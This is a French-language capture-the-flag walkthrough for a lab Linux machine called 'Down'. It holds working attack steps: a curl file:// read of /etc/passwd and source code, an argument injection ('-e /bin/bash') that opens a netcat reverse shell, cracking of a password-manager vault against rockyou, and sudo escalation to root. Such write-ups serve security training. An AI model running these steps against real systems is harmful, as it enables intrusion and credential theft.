Down

Down
| OS | Difficulty | Target |
|---|---|---|
| Linux | Easy | 10.10.74.15 |
🔭 Enumeration
nmap -sC -sV -Pn down.vlStarting Nmap 7.93 ( https://nmap.org ) at 2025-01-10 09:22 CETNmap scan report for down.vl (10.10.74.15)Host is up (0.018s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 f6cc217ccadaed34fd04efe6f94cddf8 (ECDSA)|_ 256 fa061ff4bf8ce3b0c840210d5706dd11 (ED25519)80/tcp open http Apache httpd 2.4.52 ((Ubuntu))|_http-title: Is it down or just me?|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.45 secondsNous sommes sur un site demandant de saisir une URL.
cURL est utilisé par le site en question. Nous tentons de faire des requêtes en ajoutant file:///
http://localhost/index.php file:///etc/passwd
# La lecture du fichier passwd est effectuée
It is up. It's just you! 😝
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Is it down or just me?</title> <link rel="stylesheet" href="style.css"></head><body>
<header> <img src="/logo.png" alt="Logo"> <h2>Is it down or just me?</h2> </header>
<div class="container">
<h1>Is that website down, or is it just you?</h1> <form id="urlForm" action="index.php" method="POST"> <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br> <button type="submit">Is it down?</button> </form></div></div><footer>© 2024 isitdownorjustme LLC</footer></body></html>root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinpollinate:x:105:1::/var/cache/pollinate:/bin/falsesshd:x:106:65534::/run/sshd:/usr/sbin/nologinsyslog:x:107:113::/home/syslog:/usr/sbin/nologinuuidd:x:108:114::/run/uuidd:/usr/sbin/nologintcpdump:x:109:115::/nonexistent:/usr/sbin/nologintss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/falselandscape:x:111:117::/var/lib/landscape:/usr/sbin/nologinfwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologinusbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinaleks:x:1000:1000:Aleks:/home/aleks:/bin/bashlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/falseVoyons ce que nous donne le code source de la page index située var/www/html/index.php.
http://localhost file:///var/www/html/index.php
#Le code source nous donne la possibilité d'utilisé le paramètre `expertmode` et donnant ainsi la possibilité d'obtenir un reverse shell.
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) { $ip = trim($_POST['ip']); $valid_ip = filter_var($ip, FILTER_VALIDATE_IP); $port = trim($_POST['port']); $port_int = intval($port); $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);👣 Foothold
L’obtention du reverse shell se fera via la page index.php?expertmode=tcp, en utilisant burpsuite nous pouvons ajouter +-e+/bin/bash au port de notre nc.
Le flag user se situe dans le dossier /html.
Lors de la phase d’énumération nous avons pu voir un user aleks, nous nous rendons dans son répertoire et cherchons ce qui est exploitable.
cd aleksls -lahtotal 32Kdrwxr-xr-x 5 aleks aleks 4.0K Sep 15 09:15 .drwxr-xr-x 3 root root 4.0K Sep 13 14:43 ..lrwxrwxrwx 1 aleks aleks 9 Sep 6 14:43 .bash_history -> /dev/null-rw-r--r-- 1 aleks aleks 220 Jan 6 2022 .bash_logout-rw-r--r-- 1 aleks aleks 3.7K Jan 6 2022 .bashrcdrwx------ 2 aleks aleks 4.0K Sep 6 15:03 .cachedrwxrwxr-x 3 aleks aleks 4.0K Sep 6 14:45 .local-rw-r--r-- 1 aleks aleks 807 Jan 6 2022 .profiledrwx------ 2 aleks aleks 4.0K Sep 6 14:42 .ssh-rw-r--r-- 1 aleks aleks 0 Sep 15 09:15 .sudo_as_admin_successfulcd .localls -lahtotal 12Kdrwxrwxr-x 3 aleks aleks 4.0K Sep 6 14:45 .drwxr-xr-x 5 aleks aleks 4.0K Sep 15 09:15 ..drwxrwxr-x 3 aleks aleks 4.0K Sep 13 15:36 sharecd sharelspswmcd pswmfile pswmpswm: ASCII text, with no line terminatorscat pswme9laWoKiJ0OdwK0<REDACTED>BFaKEviDCHBQ==Nous trouvons ce qui semble être un hash créé par pswm. Nous utilisons le script pswm-decryptor:
python3 pswm-decryptor.py -f pswm.txt -w /usr/share/wordlists/rockyou.txt [+] Master Password: flower [+] Decrypted Data: +------------+----------+----------------------+ | Alias | Username | Password | +------------+----------+----------------------+ | pswm | aleks | f----r | | aleks@down | aleks | 1u-----E | +------------+----------+----------------------+
🎯 Privilege Escalation
Le mot de passe de aleks obtenu, nous nous connectons sur cet user.
script -qc /bin/bash /dev/nullwww-data@down:/home/aleks/.local/share/pswm$ su alekssu aleksPassword: 1u<REDACTED>E
aleks@down:~/.local/share/pswm$ sudo -lsudo -l[sudo] password for aleks: 1u<REDACTED>E
Matching Defaults entries for aleks on down: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User aleks may run the following commands on down: (ALL : ALL) ALLaleks@down:~/.local/share/pswm$ sudo susudo suroot@down:/home/aleks/.local/share/pswm# cat /root/root.txt